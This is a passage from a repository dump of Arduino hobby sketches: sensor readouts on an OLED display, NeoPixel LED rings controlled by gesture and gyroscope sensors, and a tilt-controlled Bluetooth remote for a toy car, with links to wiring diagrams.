 88 | {
 89 |    GOFoled.clearDisplay();
 90 |    GOFoled.setCursor(0, 0);
 91 | }
 92 | 
 93 | void collectSensorsData()
 94 | {
 95 |   sensors.ambientTemperature = mlx.readAmbientTempC(); 
 96 |   sensors.pointTemperature = mlx.readObjectTempC();
 97 |   sensors.ambientTemperature = bme.readTemperature();
 98 |   sensors.pressure = bme.readPressure() / 100.0F;
 99 |   sensors.humidity = bme.readHumidity();  
100 |   sensors.uv = uv.readUV();
101 | }
102 | 
103 | void writeSensorDataOnDisplayBuffer() 
104 | {
105 |   setDisplayText(1, getSelectedText(0, "Amb T"), String(sensors.ambientTemperature));
106 |   setDisplayText(1, getSelectedText(1, "Point T"), String(sensors.pointTemperature));
107 |   setDisplayText(1, getSelectedText(2, "Pressure"), String(sensors.pressure));
108 |   setDisplayText(1, getSelectedText(3, "Humidity"), String(sensors.humidity));
109 |   setDisplayText(1, getSelectedText(4, "Uv"), String(sensors.uv));
110 |   setDisplayText(2, 60, 40, String(getSelectedMetric()));
111 | }
112 | 
113 | String getSelectedText(byte position, String text)
114 | {
115 |   return position == selectedMetric ? "*" + text : text;
116 | }
117 | 
118 | String getSelectedMetric()
119 | {
120 |   switch (selectedMetric) {
121 |     case 0:
122 |       return String(sensors.ambientTemperature);
123 |     case 1:
124 |       return String(sensors.pointTemperature);
125 |     case 2:
126 |       return String(sensors.pressure);
127 |     case 3:
128 |       return String(sensors.humidity);
129 |     case 4:
130 |       return String(sensors.uv);                  
131 |     default:
132 |       return String(sensors.ambientTemperature);
133 |   }
134 | }
135 | 
136 | void buttonPressed() 
137 | {
138 |   selectedMetric = selectedMetric < nrMetrics - 1 ? selectedMetric + 1 : 0;
139 | }
140 | 
141 | 
--------------------------------------------------------------------------------
/projects/neopixel_ring_gestures/neopixel_ring_gestures.ino:
--------------------------------------------------------------------------------
  1 | /**
  2 |  * Libraries:
  3 |  * https://github.com/adafruit/Adafruit_NeoPixel
  4 |  * https://github.com/sparkfun/SparkFun_APDS-9960_Sensor_Arduino_Library
  5 |  */
  6 | 
  7 | #include  
  8 | #include 
  9 | #include "Wire.h"
 10 | 
 11 | #define NEOPIXED_CONTROL_PIN 6
 12 | #define NUM_LEDS 24
 13 | #define APDS9960_INT 2
 14 | #define LED_SPEED_STEP_INTERVAL 100
 15 | 
 16 | Adafruit_NeoPixel strip = Adafruit_NeoPixel(NUM_LEDS, NEOPIXED_CONTROL_PIN, NEO_RBG + NEO_KHZ800);
 17 | SparkFun_APDS9960 apds = SparkFun_APDS9960();
 18 | 
 19 | 
 20 | unsigned long lastLedChangeTime = 0;
 21 | short ledDirection = 0;
 22 | short colorSelection = 0;
 23 | byte ledStates[] = {150, 100, 70, 50, 40, 30, 10, 2, 0, 0, 0, 0,
 24 |           0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};          
 25 | int isr_flag = 0;
 26 | 
 27 | 
 28 | void setup() 
 29 | {
 30 |     Serial.begin(9600);
 31 |     Serial.println("Program started");
 32 |     strip.begin(); 
 33 |     pinMode(APDS9960_INT, INPUT);
 34 |     attachInterrupt(0, interruptRoutine, FALLING);
 35 |     if ( apds.init() && apds.enableGestureSensor(true)) {
 36 |          Serial.println("APDS-9960 initialization complete");
 37 |     } else {
 38 |         Serial.println("Something went wrong during APDS-9960 init!");
 39 |     }
 40 |     lastLedChangeTime = millis();
 41 |     Serial.println("Init succesfully");
 42 | }
 43 | 
 44 | void loop() 
 45 | {
 46 |     if( isr_flag == 1 ) {
 47 |       detachInterrupt(0);
 48 |       handleGesture();
 49 |       isr_flag = 0;
 50 |       attachInterrupt(0, interruptRoutine, FALLING);
 51 |     }
 52 |     animateLeds();
 53 | }
 54 | 
 55 | void interruptRoutine() 
 56 | {
 57 |     isr_flag = 1;
 58 | }
 59 | 
 60 | /**
 61 |  * This will handle gestures from the APDS9960 sensor
 62 |  * Up and Down gestures will call toggleColor function
 63 |  * Left and Right gestures will change the led animation
 64 |  */
 65 | void handleGesture() {
 66 |     if ( !apds.isGestureAvailable() ) {
 67 |         return;
 68 |     }
 69 |     switch ( apds.readGesture() ) {
 70 |       case DIR_UP:
 71 |         Serial.println("UP");
 72 |         toggleColor();
 73 |         break;
 74 |      case DIR_DOWN:
 75 |         Serial.println("DOWN");
 76 |         toggleColor();
 77 |         break;        
 78 |       case DIR_LEFT:
 79 |         ledDirection = 1;
 80 |         Serial.println("LEFT");
 81 |         break;
 82 |       case DIR_RIGHT:
 83 |         ledDirection = -1; 
 84 |         Serial.println("RIGHT");
 85 |         break;
 86 |       case DIR_FAR:
 87 |         ledDirection = 0;
 88 |         Serial.println("FAR");
 89 |         break;
 90 |     }
 91 | }
 92 | 
 93 | /**
 94 |  * Change current leds color
 95 |  * Each time this function is called will change the leds state
 96 |  */
 97 | void toggleColor()
 98 | {
 99 |     if (colorSelection == 0) {
100 |         colorSelection = 1;
101 |     } else if (colorSelection == 1) {
102 |         colorSelection = 2;
103 |     } else {
104 |         colorSelection = 0;
105 |     }
106 | }
107 | 
108 | /**
109 |  * The animation will run after LED_SPEED_STEP_INTERVAL millis
110 |  * First the rotateLeds function is called, then the leds colors are set using the strip api
111 |  */
112 | void animateLeds() 
113 | {
114 |     if (millis() - lastLedChangeTime < LED_SPEED_STEP_INTERVAL) {
115 |         return;
116 |     }
117 |     rotateLeds();
118 |     for (int i=0; i < NUM_LEDS; i++) {
119 |         strip.setPixelColor(i, getColor(ledStates[i])); 
120 |         strip.show();
121 |     }  
122 |     lastLedChangeTime = millis();
123 | }
124 | 
125 | /**
126 |  * Using a secondary array "intermediateLedStates", leds intensities are animated
127 |  * First the values from "ledStates" are copied on "intermediateLedStates" like so
128 |  * let's sat the "ledStates" array is {100, 80, 60, 0, 0, 0} and the ledDirection is 1
129 |  * then after this function is called "ledStates" array is {0, 100, 80, 60, 0, 0} simulating a rotation effect
130 |  */
131 | void rotateLeds()
132 | {
133 |     byte intermediateLedStates[NUM_LEDS];
134 |     for (int i=0; i < NUM_LEDS; i++) {
135 |         intermediateLedStates[i] = 0;
136 |     }         
137 |     for (int i=0; i < NUM_LEDS; i++) {
138 |         if (ledDirection == 1) {
139 |             if (i == NUM_LEDS -1) {
140 |                 intermediateLedStates[0] = ledStates[i];
141 |             } else {
142 |                 intermediateLedStates[i + 1] = ledStates[i];
143 |             }
144 |         } else {
145 |             if (i == 0) {
146 |                 intermediateLedStates[NUM_LEDS - 1] = ledStates[i];
147 |             } else {
148 |                 intermediateLedStates[i - 1] = ledStates[i];
149 |             }          
150 |         }       
151 |     }
152 |     for (int i=0; i < NUM_LEDS; i++) {
153 |         ledStates[i] = intermediateLedStates[i];
154 |     }
155 | }
156 | 
157 | uint32_t getColor(int intensity)
158 | {
159 |     switch (colorSelection) {
160 |         case 0:
161 |           return strip.Color(intensity, 0, 0);
162 |         case 1:
163 |           return strip.Color(0, intensity, 0);
164 |         default:
165 |           return strip.Color(0, 0, intensity);
166 |     }   
167 |     
168 | }
169 | 
170 | 
--------------------------------------------------------------------------------
/projects/neopixel_ring_gestures/sketch.fzz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/neopixel_ring_gestures/sketch.fzz
--------------------------------------------------------------------------------
/projects/neopixel_ring_gestures/sketch_bb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/neopixel_ring_gestures/sketch_bb.png
--------------------------------------------------------------------------------
/projects/neopixel_ring_gyroscope/neopixel_ring_gyroscope.ino:
--------------------------------------------------------------------------------
  1 | /**
  2 |  * Libraries:
  3 |  * https://github.com/adafruit/Adafruit_NeoPixel
  4 |  * https://github.com/jrowberg/i2cdevlib
  5 |  * https://github.com/jrowberg/i2cdevlib/tree/master/Arduino/MPU6050
  6 |  */
  7 | #include "I2Cdev.h"
  8 | #include 
  9 | #include "MPU6050_6Axis_MotionApps20.h"
 10 | #include "Wire.h"
 11 | 
 12 | #define NEOPIXED_CONTROL_PIN 6
 13 | #define NUM_LEDS 24
 14 | 
 15 | const int MAX_ANGLE = 45;
 16 | const int LED_OFFSET = 12;
 17 | 
 18 | MPU6050 mpu;
 19 | Adafruit_NeoPixel strip = Adafruit_NeoPixel(NUM_LEDS, NEOPIXED_CONTROL_PIN, NEO_RBG + NEO_KHZ800);
 20 | unsigned long lastPrintTime = 0;
 21 | 
 22 | 
 23 | bool initialization = false;  // set true if DMP init was successful
 24 | uint8_t mpuIntStatus;   // holds actual interrupt status byte from MPU
 25 | uint8_t devStatus;      // return status after each device operation (0 = success, !0 = error)
 26 | uint16_t packetSize;    // expected DMP packet size (default is 42 bytes)
 27 | uint16_t fifoCount;     // count of all bytes currently in FIFO
 28 | uint8_t fifoBuffer[64]; // FIFO storage buffer
 29 | Quaternion q;           // [w, x, y, z]         quaternion container
 30 | VectorFloat gravity;    // [x, y, z]            gravity vector
 31 | float ypr[3];           // [yaw, pitch, roll]   yaw/pitch/roll container and gravity vector
 32 | volatile bool mpuInterrupt = false;     // indicates whether MPU interrupt pin has gone high
 33 | 
 34 | void setup() 
 35 | {
 36 |     Serial.begin(9600);
 37 |     Serial.println("Program started");
 38 |     initialization = initializeGyroscope();  
 39 |     strip.begin(); 
 40 | }
 41 | 
 42 | void loop() 
 43 | {
 44 |     if (!initialization) {
 45 |         return;
 46 |     }
 47 |     mpuInterrupt = false;
 48 |     mpuIntStatus = mpu.getIntStatus();
 49 |     fifoCount = mpu.getFIFOCount();
 50 |     if (hasFifoOverflown(mpuIntStatus, fifoCount)) {
 51 |         mpu.resetFIFO();
 52 |         return;
 53 |     }
 54 |     if (mpuIntStatus & 0x02) {
 55 |         while (fifoCount < packetSize) {
 56 |             fifoCount = mpu.getFIFOCount();
 57 |         }
 58 |         mpu.getFIFOBytes(fifoBuffer, packetSize);        
 59 |         fifoCount -= packetSize;
 60 |         mpu.dmpGetQuaternion(&q, fifoBuffer);
 61 |         mpu.dmpGetGravity(&gravity, &q);
 62 |         mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);
 63 |         redrawLeds(ypr[0] * 180/M_PI, ypr[1] * 180/M_PI, ypr[2] * 180/M_PI);
 64 |     }
 65 | }
 66 | 
 67 | boolean hasFifoOverflown(int mpuIntStatus, int fifoCount) 
 68 | {
 69 |     return mpuIntStatus & 0x10 || fifoCount == 1024;
 70 | }
 71 | 
 72 | void redrawLeds(int x, int y, int z)
 73 | {  
 74 |     x = constrain(x, -1 * MAX_ANGLE, MAX_ANGLE);
 75 |     y = constrain(y, -1 * MAX_ANGLE, MAX_ANGLE);
 76 |     if (y < 0 and z > 0) {
 77 |         lightLeds(y, z, 0, 5, 0, 89);      
 78 |     } else if (y < 0 and z < 0) {
 79 |         lightLeds(y, z, 6, 12, 89, 0);  
 80 |     } else if (y > 0 and z < 0) {
 81 |         lightLeds(y, z, 13, 19, 0, 89);     
 82 |     } else if (y > 0 and z > 0) {
 83 |         lightLeds(y, z, 20, 24, 89, 0);     
 84 |     }
 85 | }
 86 | 
 87 | 
 88 | void lightLeds(int x, int y, int fromLedPosition, int toLedPosition, int fromAngle, int toAngle) 
 89 | {
 90 |     double angle = (atan((double) abs(x) / (double) abs (y)) * 4068) / 71;
 91 |     int ledNr = map(angle, fromAngle, toAngle, fromLedPosition, toLedPosition);
 92 |     printDebug(x, y, ledNr, angle);  
 93 |     uint32_t color;
 94 | 
 95 |     for (int i=0; i < NUM_LEDS; i++) {
 96 |         color = strip.Color(0, 0, 0);
 97 |         if (i == ledNr) {
 98 |            color = strip.Color(0, 180, 0);
 99 |         } else if (i == ledNr - 1) {
100 |            color = strip.Color(0, 5, 0);
101 |         }
102 |         strip.setPixelColor(normalizeLedPosition(i), color); 
103 |         strip.show();
104 |     }  
105 | }
106 | 
107 | int normalizeLedPosition(int position)
108 | {
109 |     if (NUM_LEDS > position + LED_OFFSET) {
110 |         return position + LED_OFFSET;
111 |     }
112 | 
113 |     return position + LED_OFFSET - NUM_LEDS;
114 | }
115 | 
116 | void printDebug(int y, int z, int lightLed, int angle)
117 | {
118 |     if (millis() - lastPrintTime < 500) {
119 |         return;
120 |     }
121 |     Serial.print("a=");Serial.print(angle);Serial.print("; ");
122 |     Serial.print("ll=");Serial.print(lightLed);Serial.print("; ");
123 |     Serial.print("y=");Serial.print(y);Serial.print("; ");
124 |     Serial.print("z=");Serial.print(z);Serial.println("; ");
125 |     lastPrintTime = millis();
126 | }
127 | 
128 | 
129 | bool initializeGyroscope() {
130 |     Wire.begin();
131 |     TWBR = 24;  
132 |     mpu.initialize();
133 |     Serial.println(mpu.testConnection() ? F("MPU6050 connection successful") : F("MPU6050 connection failed"));
134 |     Serial.println(F("Initializing DMP..."));
135 |     devStatus = mpu.dmpInitialize();
136 |     mpu.setXGyroOffset(220);
137 |     mpu.setYGyroOffset(76);
138 |     mpu.setZGyroOffset(-85);
139 |     mpu.setZAccelOffset(1788);
140 |     if (devStatus != 0) {
141 |         Serial.print(F("DMP Initialization failed (code "));Serial.println(devStatus);
142 |         return false;
143 |     }
144 |     mpu.setDMPEnabled(true);
145 |     Serial.println(F("Enabling interrupt detection (Arduino external interrupt 0)..."));
146 |     attachInterrupt(0, dmpDataReady, RISING);
147 |     mpuIntStatus = mpu.getIntStatus();
148 |     Serial.println(F("DMP ready! Waiting for first interrupt..."));
149 |     packetSize = mpu.dmpGetFIFOPacketSize();
150 |     
151 |     return true;
152 | }
153 | 
154 | void dmpDataReady() 
155 | {
156 |     mpuInterrupt = true;
157 | }
158 | 
159 | 
--------------------------------------------------------------------------------
/projects/neopixel_ring_gyroscope/sketch.fzz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/neopixel_ring_gyroscope/sketch.fzz
--------------------------------------------------------------------------------
/projects/neopixel_ring_gyroscope/sketch_bb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/neopixel_ring_gyroscope/sketch_bb.png
--------------------------------------------------------------------------------
/projects/zen_wheels_remote/sketch.fzz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/zen_wheels_remote/sketch.fzz
--------------------------------------------------------------------------------
/projects/zen_wheels_remote/sketch_bb.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/zen_wheels_remote/sketch_bb.jpg
--------------------------------------------------------------------------------
/projects/zen_wheels_remote/zen_wheels_remote.ino:
--------------------------------------------------------------------------------
  1 | /**
  2 |  * Libraries:
  3 |  * https://github.com/jrowberg/i2cdevlib
  4 |  * https://github.com/jrowberg/i2cdevlib/tree/master/Arduino/MPU6050
  5 |  */
  6 | #include "I2Cdev.h"
  7 | #include "MPU6050_6Axis_MotionApps20.h"
  8 | #include "Wire.h"
  9 | #include "SoftwareSerial.h"
 10 | 
 11 | const int MAX_ANGLE = 45;
 12 | const byte commandStering = 129;
 13 | const byte commandSpeed = 130;
 14 | 
 15 | 
 16 | bool initialization = false;  // set true if DMP init was successful
 17 | uint8_t mpuIntStatus;   // holds actual interrupt status byte from MPU
 18 | uint8_t devStatus;      // return status after each device operation (0 = success, !0 = error)
 19 | uint16_t packetSize;    // expected DMP packet size (default is 42 bytes)
 20 | uint16_t fifoCount;     // count of all bytes currently in FIFO
 21 | uint8_t fifoBuffer[64]; // FIFO storage buffer
 22 | Quaternion q;           // [w, x, y, z]         quaternion container
 23 | VectorFloat gravity;    // [x, y, z]            gravity vector
 24 | float ypr[3];           // [yaw, pitch, roll]   yaw/pitch/roll container and gravity vector
 25 | volatile bool mpuInterrupt = false;     // indicates whether MPU interrupt pin has gone high
 26 | 
 27 | unsigned long lastPrintTime, lastMoveTime = 0;
 28 | 
 29 | SoftwareSerial BTserial(10, 11);
 30 | MPU6050 mpu;
 31 | 
 32 | 
 33 | void setup() 
 34 | {
 35 |       Serial.begin(9600);
 36 |       BTserial.begin(38400);
 37 |       Serial.println("Program started");
 38 |       initialization = initializeGyroscope();
 39 | }
 40 | 
 41 | void loop() {
 42 |     if (!initialization) {
 43 |         return;
 44 |     }
 45 |     mpuInterrupt = false;
 46 |     mpuIntStatus = mpu.getIntStatus();
 47 |     fifoCount = mpu.getFIFOCount();
 48 |     if (hasFifoOverflown(mpuIntStatus, fifoCount)) {
 49 |         mpu.resetFIFO();
 50 |         return;
 51 |     }
 52 |     if (mpuIntStatus & 0x02) {
 53 |         while (fifoCount < packetSize) {
 54 |             fifoCount = mpu.getFIFOCount();
 55 |         }
 56 |         mpu.getFIFOBytes(fifoBuffer, packetSize);        
 57 |         fifoCount -= packetSize;
 58 |         mpu.dmpGetQuaternion(&q, fifoBuffer);
 59 |         mpu.dmpGetGravity(&gravity, &q);
 60 |         mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);
 61 |         steer(ypr[0] * 180/M_PI, ypr[1] * 180/M_PI, ypr[2] * 180/M_PI);
 62 |     }  
 63 | }
 64 | 
 65 | /*
 66 |  * Receives angle from 0 to 180 where 0 is max left and 180 is max right
 67 |  * Receives speed from -90 to 90 where -90 is max backwards and 90 is max forward
 68 |  */
 69 | void moveZwheelsCar(byte angle, int speed) 
 70 | {
 71 |     if (millis() - lastMoveTime < 100) {
 72 |         return;
 73 |     }
 74 |     byte resultAngle;
 75 |     int resultSpeed;
 76 |     if (angle >= 90) {
 77 |       resultAngle = map(angle, 91, 180, 1, 60);    
 78 |     } else if (angle < 90) {
 79 |       resultAngle = map(angle, 1, 90, 60, 120);
 80 |     }
 81 |     if (speed > 0) {
 82 |       resultSpeed = map(speed, 0, 90, 0, 60);    
 83 |     } else if (speed < 0) {
 84 |       resultSpeed = map(speed, 0, -90, 120, 60);
 85 |     }
 86 |     Serial.print("actualAngle=");Serial.print(angle);Serial.print("; ");
 87 |     Serial.print("actualSpeed=");Serial.print(resultSpeed);Serial.println("; ");
 88 |     BTserial.write(commandStering);    
 89 |     BTserial.write(resultAngle); 
 90 |     BTserial.write(commandSpeed);
 91 |     BTserial.write((byte) resultSpeed); 
 92 |     lastMoveTime = millis();
 93 | }
 94 | 
 95 | void steer(int x, int y, int z)
 96 | {  
 97 |     x = constrain(x, -1 * MAX_ANGLE, MAX_ANGLE);
 98 |     y = constrain(y, -1 * MAX_ANGLE, MAX_ANGLE);
 99 |     z = constrain(z, -MAX_ANGLE, MAX_ANGLE);
100 |     int angle = map(y, -MAX_ANGLE, MAX_ANGLE, 0, 180);
101 |     int speed = map(z, -MAX_ANGLE, MAX_ANGLE, 90, -90);
102 |     printDebug(x, y, z, angle, speed);
103 |     moveZwheelsCar(angle, speed);
104 | }
105 | 
106 | void printDebug(int x, int y, int z, int angle, int speed)
107 | {
108 |     if (millis() - lastPrintTime < 1000) {
109 |         return;
110 |     }
111 |     Serial.print("z=");Serial.print(x);Serial.print("; ");
112 |     Serial.print("y=");Serial.print(y);Serial.print("; ");
113 |     Serial.print("z=");Serial.print(z);Serial.print("; ");
114 |     Serial.print("angle=");Serial.print(angle);Serial.print("; ");
115 |     Serial.print("speed=");Serial.print(speed);Serial.println("; ");
116 |     lastPrintTime = millis();
117 | }
118 | 
119 | bool initializeGyroscope() 
120 | {
121 |     Wire.begin();
122 |     mpu.initialize();
123 |     Serial.println(mpu.testConnection() ? F("MPU6050 connection successful") : F("MPU6050 connection failed"));
124 |     devStatus = mpu.dmpInitialize();
125 |     mpu.setXGyroOffset(220);
126 |     mpu.setYGyroOffset(76);
127 |     mpu.setZGyroOffset(-85);
128 |     mpu.setZAccelOffset(1788);
129 |     if (devStatus != 0) {
130 |         Serial.print(F("DMP Initialization failed (code "));Serial.println(devStatus);
131 |         return false;
132 |     }
133 |     mpu.setDMPEnabled(true);
134 |     Serial.println(F("Enabling interrupt detection (Arduino external interrupt 0)..."));
135 |     attachInterrupt(0, dmpDataReady, RISING);
136 |     mpuIntStatus = mpu.getIntStatus();
137 |     Serial.println(F("DMP ready! Waiting for first interrupt..."));
138 |     packetSize = mpu.dmpGetFIFOPacketSize();
139 |     
140 |     return true;
141 | }
142 | 
143 | void dmpDataReady() 
144 | {
145 |     mpuInterrupt = true;
146 | }
147 | 
148 | boolean hasFifoOverflown(int mpuIntStatus, int fifoCount) 
149 | {
150 |     return mpuIntStatus & 0x10 || fifoCount == 1024;
151 | }
152 | 
--------------------------------------------------------------------------------